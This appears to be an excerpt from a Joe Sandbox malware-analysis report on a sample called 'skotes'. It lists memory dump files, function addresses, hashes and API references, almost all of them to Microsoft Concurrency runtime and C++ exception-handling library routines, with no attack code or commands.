Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pEvents
API String ID: 2141394445-2498624650
Opcode ID: 3f266b2106f7a61f8592e948b1ce9f64cd952f5ab4a2abf1c26d7deb48c29525
Instruction ID: 381e52523c223c89108167029d9e15472ed34e11f1620f6a4c85905887026174
Opcode Fuzzy Hash: 3f266b2106f7a61f8592e948b1ce9f64cd952f5ab4a2abf1c26d7deb48c29525
Instruction Fuzzy Hash: DF818C31D802199BCF29DFE8C981BEFB7B6AF15310F144469E401A77C2DB75AA46CB90

Function 006226D1 Relevance: 22.7, APIs: 15, Instructions: 231COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 006226E3

Part of subcall function 006224E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00622504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00622704
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 00622711
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 0062275F
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 006227E6
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 006227F9
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 00622846

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: ae4b1a27a22844c15edd3faebbb9dc7b65cc0ec66df0d816028f785231c35867
Instruction ID: 0dc395f7d52568cddf563b65fa0d698e5040918ec44bd15e164d5a308eec5aa1
Opcode Fuzzy Hash: ae4b1a27a22844c15edd3faebbb9dc7b65cc0ec66df0d816028f785231c35867
Instruction Fuzzy Hash: E9819B3090466ABBDF169F54E9A1BFE7BB3AF05304F044098EC412A352C7368D69DFA1

Function 00622970 Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00622982

Part of subcall function 006224E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00622504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 006229A3
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 006229B0
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 006229FE
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 00622AA6
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 00622AD8

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: 820b6c6eb23eefb1f51f268f99d4022cc9b9ad91f09081adafc9cd28eee08596
Instruction ID: a1adc24982cbc2de2ce34a37e42bee00c8fc6af7f037846cd4fa5cdb2abd5988
Opcode Fuzzy Hash: 820b6c6eb23eefb1f51f268f99d4022cc9b9ad91f09081adafc9cd28eee08596
Instruction Fuzzy Hash: C0719A3090066AABDF15CF54E8A1AFEBBB3AF55308F044098EC416B392C7319D56DF61

Function 00612832 Relevance: 15.2, APIs: 10, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00612876
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 006128DF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00612913

Part of subcall function 006107ED: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 0061080D

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00612993
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 006129DB

Part of subcall function 006107C2: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 006107DE

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 006129EF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00612A00
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00612A4D
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00612A7E

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$Affinity$Apply$Restrictions$InformationTopology$Restriction::$CleanupFindGroupLimits
String ID:
API String ID: 1321587334-0
Opcode ID: b7a68110c0e6e0e95c401d0c0203f5512c58de8a03d317ca4719a7a1e27e5f2c
Instruction ID: eea839f2d53a83b7c22a2ecbde65f4ebf0dcca8e2c76e0e53c0733dff1782474
Opcode Fuzzy Hash: b7a68110c0e6e0e95c401d0c0203f5512c58de8a03d317ca4719a7a1e27e5f2c
Instruction Fuzzy Hash: 85819931A006579BCB18DFA9D8B85EDBBB3BF48301F28442DD446A7390E730A9D5CB94

Function 006169DA Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00616A1F
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00616A51
List.LIBCONCRT ref: 00616A8C
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00616A9D
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00616AB9
List.LIBCONCRT ref: 00616AF4
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00616B05
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00616B20
List.LIBCONCRT ref: 00616B5B
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00616B68

Part of subcall function 00615EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00615EF7
Part of subcall function 00615EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00615F09

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction ID: e156438cd6d6b68a4b0d149c94073ac8e84bb2e59ce79b43c562cb1c72d1b828
Opcode Fuzzy Hash: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction Fuzzy Hash: 3B515F75A00219ABDB08DF64C495BEDB3B9BF48304F0844ADE915EB381DB30AE85CB90

Function 006252A5 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 006253A0
type_info::operator==.LIBVCRUNTIME ref: 006253C7
___TypeMatch.LIBVCRUNTIME ref: 006254D3
IsInExceptionSpec.LIBVCRUNTIME ref: 006255AE
CallUnexpected.LIBVCRUNTIME ref: 00625650

Strings

csm, xrefs: 0062534D
csm, xrefs: 006252E0
csm, xrefs: 006253FE

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
